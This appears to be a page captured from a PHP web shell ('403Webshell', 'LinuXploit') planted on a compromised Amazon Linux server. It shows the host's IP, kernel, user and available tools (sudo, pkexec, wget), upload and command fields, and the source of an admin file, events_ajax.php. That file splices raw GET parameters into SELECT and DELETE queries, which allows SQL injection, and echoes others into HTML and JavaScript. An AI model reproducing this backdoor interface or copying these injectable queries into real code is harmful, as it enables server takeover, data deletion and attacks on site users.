403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/mod/events_ajax.php
<?php require('_mod_security.php'); ?>
<?php
	$sql = '';
	switch ($_GET['func']):
		case 'grid' :
			require_once('classes/lcs_db_grid.php');
			$dbg = new lcs_db_grid;
			$dbg->start_header_section();
			$dbg->start_header();
			$dbg->add_column(['label' => 'Event Name', 'dbcol' => 'e.name', 'width' => '175px']);
			$dbg->add_column(['label' => 'Location', 'dbcol' => 'l.name', 'width' => '150px']);
			$dbg->add_column(['label' => 'Start Date/Time', 'dbcol' => 'e.start_time_local', 'width' => '125px', 'filter' => true, 'filter_condition' => '> NOW()']);
			$dbg->add_column(['label' => 'End Date/Time', 'dbcol' => 'e.end_time_local', 'width' => '125px']);
			$dbg->add_column(['label' => 'Slider', 'dbcol' => 'e.show_in_slider', 'width' => '45px', 'align' => 'center', 'filter' => true]);
			$dbg->add_column(['label' => 'Top Slider', 'dbcol' => 'e.show_in_top_slider', 'width' => '60px', 'align' => 'center', 'filter' => true]);
			$dbg->add_column(['label' => 'Address', 'dbcol' => 'l.address', 'width' => '110px']);
			//$dbg->add_column(['label' => 'City', 'dbcol' => 'l.city', 'width' => '75px']);
			//$dbg->add_column(['label' => 'State', 'dbcol' => 'l.state', 'width' => '40px']);
			$dbg->add_column(['label' => 'Submitter', 'dbcol' => 'l.city', 'width' => '100px']);
			if ($_GET['parm2'] ?? '' === 'no_status_filter') :
				$dbg->add_column(['label' => 'Status', 'dbcol' => 'e.status', 'width' => '60px', 'filter'=>false]);
			else :
				$dbg->add_column(['label' => 'Status', 'dbcol' => 'e.status', 'width' => '60px', 'multi_filter' => APP_EVENT_STATUSES, 'multi_filter_col' => 'e.status', 'multi_filter_type' => 'int']);
			endif;
			$dbg->add_column(['label' => 'Inactivate', 'sortable' => false, 'searchable' => false, 'width' => '65px', 'align' => 'center', 'update' => true]);
			$dbg->add_column(['label' => 'Delete', 'sortable' => false, 'searchable' => false, 'width' => '55px', 'align' => 'center', 'update' => true]);
			$dbg->end_header();
			$dbg->end_header_section();
			$sql = "SELECT e.*, l.name AS location_name, l.address, l.city, l.state, u.user_name FROM events e " .
					"LEFT JOIN locations l ON (l.id = e.location_id) " .
					"LEFT JOIN events_categories ec ON (ec.event_id = e.id) " .
					"LEFT JOIN categories c ON (c.id = ec.category_id) " .
					"LEFT JOIN sys_users u ON (u.user_id = e.create_by) " .
					"WHERE ".$dbg->search_spec()." ".$_GET['parm1']." " .
					"GROUP BY e.id " .
					"ORDER BY ".$dbg->sort_spec();
			//error_log(' === '.$sql.' === ');
			$xls_sql = $sql;
			$xls_sql_encoded = xls_sql_encrypt($xls_sql);
			$result = $db->query($sql) or die('Database Error!');
			$dbg->start_data_section();
			if ($result->rowCount() > 0) :
				while ($row = $result->fetch(PDO::FETCH_OBJ)) :
					$dbg->start_row();
					$dbg->add_cell('<a href="index.php?IX='.$_GET['ix_form'].'&id='.$row->id.'" >'.$row->name.'</a>');
					$dbg->add_cell($row->location_name);
					$dbg->add_cell(nzdate_display_datetime($row->start_time_local));
					$dbg->add_cell(nzdate_display_datetime($row->end_time_local));
					$dbg->add_cell($row->show_in_slider == 1 ? 'Y' : '');
					$dbg->add_cell($row->show_in_top_slider == 1 ? 'Y' : '');
					$dbg->add_cell($row->address);
					$dbg->add_cell(!empty($row->submitted_name) ? $row->submitted_name : $row->user_name);
					$dbg->add_cell(APP_EVENT_STATUSES[$row->status]);
					if ($row->status == 1) :
						$dbg->add_cell('<a href="javascript:confirm_inactivate(\'Are you sure?\', \''.$row->id.'\', \''.$_GET['div'].'\');"><img src="img/inactivate_icon.png" style="border:none;" /></a>');
					else :
						$dbg->add_cell('');
					endif;
					$dbg->add_cell('<a href="javascript:confirm_delete(\'Are you sure? This action cannot be reversed.\', \''.$row->id.'\', \''.$_GET['div'].'\');"><img src="img/delete_icon.gif" style="border:none;" /></a>');
					$dbg->end_row();
				endwhile;
			else :
				$dbg->start_row();
				$dbg->add_cell('No records found');
				$dbg->end_row();
			endif;
			$dbg->end_data_section();
			echo json_encode(['row_count' => $result->rowCount(), 'html' => $dbg->get_html(), 'xls_sql' => $xls_sql_encoded, 'extra_data'=> '']);
			return;
			break;
		case 'delete' :
			$sql = "DELETE FROM events WHERE id = ".nz(trim($_GET['id']), '0')." ";
			$db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			$sql = "DELETE FROM events_categories WHERE event_id = ".nz(trim($_GET['id']), '0');
			$db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			$msg = 'Success';
			echo json_encode(['result' => $msg]);
			return;
			break;
		case 'inactivate' :
			$sql = "UPDATE events SET status = 0 WHERE id = ".nz(trim($_GET['id']), '0')." ";
			$db->query($sql) or die(json_encode(['result' => 'Database Error!']));
			$msg = 'Success';
			echo json_encode(['result' => $msg]);
			return;
			break;
	endswitch;

Youez - 2016 - github.com/yon3zu
LinuXploit